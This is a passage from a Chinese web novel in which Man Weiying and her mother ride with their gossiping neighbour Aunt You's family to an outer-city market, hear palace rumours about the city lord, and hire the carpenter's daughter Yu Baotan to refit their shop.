谁知才到门口,就看见尤婶子正狐疑地盯着她家门,好似很疑惑怎么敲了这许久都没人来开。
只见尤婶子深吸一口气,气沉丹田正要吼出来时——
“尤婶子!”满未楹急忙打断,“这儿呢这儿呢!”
尤婶子一口气没出来硬生生憋住了,把脸憋了个通红。
满未楹拍了拍她的背,心里庆幸还好没让她把这一声喊出来,不然只怕能惊动整条巷子。
“尤婶子,我们去给对接淮家送午食的,她家大娘子进来吃不好,觉得我做的好吃,便让我试一下。”满未楹一边解释一边开门。
尤婶子“喔喔”两声:“这可是好事,淮家不缺钱,连小丫鬟都穿金戴银,短不了你的。”
一脚踏进了门,她才想起自己这是来干嘛的,“哎呀我跟你进来干嘛。”又一手扯住母女二人,“今日城外有市集呢。正好我那女婿昨天巴巴的上门来接了,我让他套了个大马车,我们一起赶集去!正好啊,我带你去见一下虞木匠家,看看他家手艺你可满意,满意的话找他上门量尺寸、报价,也把你这桩心事了了。”
只是这样出城赶集一趟,晚上回来就得到戌时左右了,还好卤猪肠一早便炖上,此刻熄了火,晚上回来再炖一会便好,出摊自然是要晚一点。
满未楹自从回到云梦城后,还从没离开过这一亩三分地,去过最远的地方就是宋娘子家肉铺。此刻她也有些雀跃,红头绳随着她的动作也一蹦一跳,落在满珣温柔的眸光中。
25.赶集去
满未楹和满珣先回家用完午饭,收拾了一番等在门外。
直到真正亲眼看见尤婶子这一大家子,满未楹才真真切切意识到什么叫“人口多”,尤婶子带着两个女儿、两个儿媳,手上或牵或抱一个小萝卜头;尤婶子的小儿子今天又逃课,非要跟着去赶集;还没算正在上工上值上学的尤家其他人......
难怪尤婶子一直想买房搬出去。
尤婶子女婿租的两辆马车就停在巷子口,他相貌端方,比起性急的尤家大姐儿显得温温吞吞。
满未楹光是听尤婶子介绍这一大家子都有些晕乎乎的,直到跟着尤婶子进了马车,都没记住她家几个孩子的排序。
尤婶子带着巧妹儿,女婿坐外面赶车,小儿子不肯老老实实坐在车里,也要坐外头晃脚丫子。
车厢里,巧妹儿熟睡着,像是怕她冷到,早早就给她穿上了厚褙子,还披着一条小薄被,脸颊都睡得红扑扑像林檎果一般。
满珣声音轻柔的和尤婶子聊着云梦城这些年来的变化,满未楹一边听一边趴在窗口,好奇地跟着马车行进路线看窗外风光。
云梦城中道路四通八达,是典型的“多核心”城池,与居民区混合的商业区皆是繁华,如果要用后世的城市来类比,大概就是一座城市中的“某某区”,各区再下分街道。
但最繁华的还是当属满未楹家在的定挽桥区域,离城北云梦山近,又背靠东城门外运河,去城西的“富人区”也近。
身旁的尤婶子说,城西大宅多,人家的大宅可不是指她们这种三进院,有些人家里甚至能引水做池、建造亭台楼榭。
城西规划之初便是给大家族和高官居住,后来新任城主带着妻子来临,新城主乃是晋国公子,现任晋国国君一母同胞的弟弟,他看不上原先的城主府,强行买下后推掉了城西大批住宅,平地再起高楼。
当时自然是引起了不满,但是大家都敢怒不敢言,没有人想直面王族威严。
云梦城城池巨大,满未楹看得眼睛都有些酸疼,用力闭了一下眼睛,等那阵酸意过去后,眼角洇出点点生理性泪花,把头缩回车内。
而尤婶子正说得起劲,既然说到了城主,就不得不提现任城主公子汲和他的两个姐姐了。
公子汲今年还未弱冠,性勇猛又足智,但行事张扬不顾后果。早些年前任晋公在世时,为联盟将两个女儿宣姬与妫姬嫁给年迈郑公,公子汲极力反对,以至做出许多偏颇之事,但是因为年岁尚小,最终只能眼睁睁看着姐姐们被送往郑国。
没两年郑公暴毙,郑国提出要将宣姬妫姬再嫁给郑公两子,以维持姻亲关系。
消息传回晋国,公子汲在所有人都不知道的情况下,带着自己的亲兵潜入郑国王庭,带着两位姐姐偷跑回国。
郑国自然大怒,但是也是三人运气好,新继任的国君上位不过三天就被人投毒,郑国登时大乱,自然没人再管这件事。
公子汲、宣姬、妫姬当时便躲在云梦城,靠恩师鬼谷子的庇护和隐瞒,躲过了最初的搜捕。
新任晋国国君即位,他立刻赦免同母弟弟的过失,将云梦城作为他的封地,让他在此建府,远离王庭纷扰;国君嘴上说着对两位王姬“背离王信,不复管教”,意思是再也不管她们死活,但行动上阔赠万金,去年宣姬生日时,还借着母亲托梦的由头,封给二人几座城池食邑。
如今三人都已定居在云梦城中,自由自在。
若是要问尤婶子怎么得知这些王庭密辛的,她会朝母女俩神秘一笑。平民也有得知自己消息的方式,而且三人闹出来的动静实在太大,云梦城还来过几波人,阵仗极大。
“公子汲去岁大婚,娶的是姑母、秦国君夫人的女儿,一位秦国王姬。那位嬴姬倒是很少露面,平时祭祀节日都未见过。”秦国王姓为赢,尤婶子又喝了几口水润润嗓子。
这倒也不奇怪,古代不把母系亲族当做近亲,只讲究同姓不婚。晋国王姬出嫁后,把自己的女儿嫁回母国以维持姻亲关系,算是这个时代很常规的操作,至于为什么没选国公而是选了公子汲,还是在远离权力中心的云梦城,这就无从得知了。
“那边就是冶铁司了。”马车又走了大半个时辰,满未楹闭着眼感觉都快睡了一觉,忽得听见尤婶子说。
她好奇地睁开眼,顺着尤婶子指的方向看去。
冶铁司占地极大,四周种植了高大树木,与周边格格不入,和普通居民区隔开一道分化带;门口还有身着甲胄的重兵把守。高达一丈有余的大门一关,不容窥视。
来来往往的行人和车辆经过时俱是加快脚步,谁都不想被当做可疑分子。
“冶铁司管得可严了,”连尤婶子都压低了声音对满未楹说道,“每日进出都有人搜身,还不许穿自家的衣服,说是有甚么杂质,铁炼出来不纯。十五日才得休息一天,但是工钱可高了,要的全是年轻大小伙子,力能扛鼎那种。”
其实大部分能进冶铁司的,都是闲时的士兵。这时候士兵无战时,种田自给自足都是常事。
满未楹看得心痒痒,她好像再搞几口铁锅回来,铁锅多好用呀。
马车溜得飞快,快速把几人从和冶铁司还离得老远的路上拉走,连马儿都不赖腿了。
就这样摇摇摆摆地来到了城门口,监门卫核对过户籍文书后才把这两车人放出去。
出了云梦城就到了外郭,绝大多数外郭都比城池大得多,算是城池扩张的衍生物。外郭多是居民群居,大部分人家自己种田、种菜、养猪养鸡,商业极少。
外郭再往外,便是数个村落、某些大家族的庄子和大批养活了城池的农田,军队也驻扎在城外,平时养马、练兵地方更大。
市集其实办在外郭中,但是在内城人口中,只要除了城门那就是外城,颇有种自得感。
车外人声鼎沸,乱七八糟像是误入了后世巨型菜市场。
人声狗吠鸡鸣鸭叫鹦鹉学舌不绝于耳;不远处还有喧哗响动,像是几个人斗蛐蛐打起来了,忙得脚不点的司稽正在赶来的路上。
甫一下车,尤婶子家的几个孩子便扯着各自的亲娘要去买糖人买套娃买木偶看杂耍,尤婶子的小儿子更是手一伸:“娘给我钱,我想买只鹦鹉回去。”
尤婶子早就习惯了他的无厘头,眼一瞪就让他滚,但还是掏了十个圜钱出来给他零花,但是不许买鹦鹉。知道他是个闲不住的,让女婿跟紧了,可别被拐子拐走了。
其实市集上有的,内城里都有,但是市集大多是自产自销、没有中间商赚差价,也不用交一道进城费,市集上还不用交税,小摊贩们其实很喜欢市集。内城居民们也喜欢出来赶热闹。
那些平时在家里吃惯了的肉脯,放到市集上卖,竟也能一边逛一边吃掉一整包,吃渴了可不就得再买杯水喝?市集上可没有水井,要喝水就去小摊贩那买,两铢满满一竹筒。
满未楹和满珣逛着逛着,便也不能免俗地一边吃一边喝,直到在尤婶子的带领下来到了一个铺面前。
这便是尤婶子口中的虞木匠家了,据她所说,虞木匠几个儿子手艺都是平平,但是有一把子力气;但是唯一一个女儿虞宝檀却继承了他的手艺,做出来的家具好看又结实,而且从小便有怪力,丝毫不比几个哥哥差。虞木匠已经逐渐把铺子交给虞宝檀打理了。
铺前全是刨花,各色木头、上漆的没上漆的,平整的没刮平的,把铺前铺后都堆满了。门外还有两个壮汉扛着新木料进来。
而门口挽着袖子,露出两条小麦色结实臂膀、一脚踩在板凳上借力,大力锯木头的是一个看起来只比满未楹稍大一点的小娘子。
她神情严肃,连嘴角都在用力。
“宝檀啊!好久不见了!”尤婶子大嗓门再度响起。
虞宝檀只是抬头望来,手上动作丝毫不停:“是尤婶子啊,我正忙着,您先坐。”
“没事没事,”尤婶子笑眯眯地看着她结实的臂膀,又捏了捏自己的,复又瞅瞅满珣娘俩。
虞宝檀锯开后,一手拿锯子一手扛着两段木头走到三人面前:“尤婶子今天是又来打家具的吗?还是整门窗?这二位是?”
尤婶子家里嫁娶四次,每次都打新家具,把新夫妇住的屋子修整一遍,前年二女儿和离回来,尤婶子还特意修一遍屋子迎接她和孩子。有找乐大罗芸妙做的,也有找虞家做的。
尤婶子家里人多,为人也泼辣,但凡上门的都规规矩矩,对她来说找谁家做确实区别不大。
“我家今天不打呢,宝檀啊,这两位是我家前面那间铺子的主人家,正在找合适的木匠把铺子和家都整一遍呢。”尤婶子三言两语便说清楚了事情。
虞宝檀点点头表示知道了:“娘子们可以先进来看看我家的手艺,若是满意,我便随二位去铺子上走一趟,量个尺寸报一下
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价,看看娘子家有多少地方需要新做,还得重新去定木料,运过来也要时间。”
满未楹跟着虞宝檀走进了铺子中。外郭的铺子就是比内城大,铺子里堆得满满的木料和家具,都不显得狭小,而后院面积更是大。
满未楹和满珣仔细考察了一番,发现确实如尤婶子说的那样,不仅榫卯尺寸严丝合缝,漆面光滑平整,更难得的上面的雕刻功夫,像是画笔一般丝滑走线,而且一丝毛刺都摸不到。
剩下的便是谈价钱了。
大概是在城外的缘故,虞宝檀给的价格要比乐家便宜不少。
“娘子是尤婶子带来的熟客,我也不瞒着娘子了。”虞宝檀手上动作不停,说话也很爽利,“我家正准备搬进城去,城里生意多、上门也更方便,后面城外这间铺子便当做木料仓库,有些什么大件便出城来做。现在一家子正攒钱想买间铺子,娘子要是信得过我,待我上门量过之后,也不要娘子另外再找帮工,我把三个哥哥和阿爹都喊上,我们一家人做,刨开木料费、加工费外,娘子只要付三人的工钱。”顿了顿,虞宝檀想到了什么又补充道,“当然,娘子若是赶时间,我家也有合作的小工,价格公道,只是他们的工钱却是省不了了。”
这时候请人修整屋子,木料费、加工费还有小工上门安装修整的工钱都要主家掏,尤婶子上次修个驴棚还另外给了工钱。
当然木匠们的收益前花钱的地方名目繁多,这钱就和流水一般哗哗的出去了。
满未楹看得出来虞宝檀也想接下自己家这桩生意,又是那么大的铺子,尤其是她家可还有个楼梯要做,少不了要赚上一大笔。
满未楹和满珣对视一眼,都看到了彼此眼中的满意,当下也不再纠结,有句话叫虽然要货比三家,但是越挑眼越花,尤其是在手艺差不多的前提下,得和有眼缘、做事爽利的人合作,能省后面许多事。做生意的人心里都有一根赚钱的基准线,一味贪便宜他们便会从别的地方找补回来,要么小工费报高,要么偷工减料,到最后得不偿失。
这是满未楹前世做生意、与人打交道得到的深刻教训。
只是自家现在有一桩大事要做,便和虞宝檀约好了过两日请她上门,虞宝檀也不多问,只是点点头便又匆忙去赶工了。
说是出来逛市集,满未楹倒没有买东西,反而是考察了一番各种肉禽蔬菜的售价,城外的肉类售价能比城内便宜上十铢不止,蔬菜也能便宜一两铢。但是品质上,其它肉倒还好,但猪肉却是远远比不上宋娘子家。
考虑到她现在还是小生意,不大批量进货,城里只怕没有人能给到这样的价格。
还是得把生意做大才行。
满珣倒是看上了一间铺子的棉花,白花花、软绵绵,弹得好极了,她算了下,垫被一般冬日要用五斤一条才够暖和,再加上盖被用六斤;将来小孩出生要预备几条小的,跟着大人睡翻个身它就冻着了;满未楹将来肯定也要和她分房睡,暂时先买个三十斤回去。
店主极力推销她在自家店里做好,一尺布才一圜钱。
但是满珣自己便会套,而且她看了一眼那灰扑扑、上色不均的布料,再看了看不远处一直光问不买、穿得像鲜花一样的活泼女儿,她更加坚定了摇了摇头:“只要棉花便好。”
那店家登时便有些不开心,许是看满珣纤质柔弱,撇撇嘴:“娘子也不可怜可怜我们这些苦命人,好歹让赚点吧。”
满珣一愣,丢下了手上捏着的一团棉花:“那便不买了吧。我去别处看看。”
城里一样有弹棉花的店,离得还近,贵上几铢也不打紧,还不用借尤婶子的车带回去。
满珣同样冷下脸来,嘴角下抿,冷冷看了一眼那店家。
“哎哎娘子说笑了,是我不好,嘴上没个把门的。”一看满珣强硬起来,反倒是那店家先败下阵来,连连想喊住离开的满珣,但满珣理都不理,径直走开了。
满未楹一早便注意到了动静,满珣现在也不是过去那个不愿意起争端的柔和性子了。
嘿嘿,她咧开嘴笑。
不远处的尤婶子终于抓到了猴子一样的小儿子,拎着他的耳朵骂骂咧咧,女婿跟在一旁赔笑;几个女儿儿媳也牵着孩子纷纷会和,巧妹儿还抱着一只裹了糖的林檎舔味道,吃得手上、衣襟上都是化了的糖,她娘半点不嫌弃,抱在怀里视若珍宝。
一伙人热热闹闹地家去了。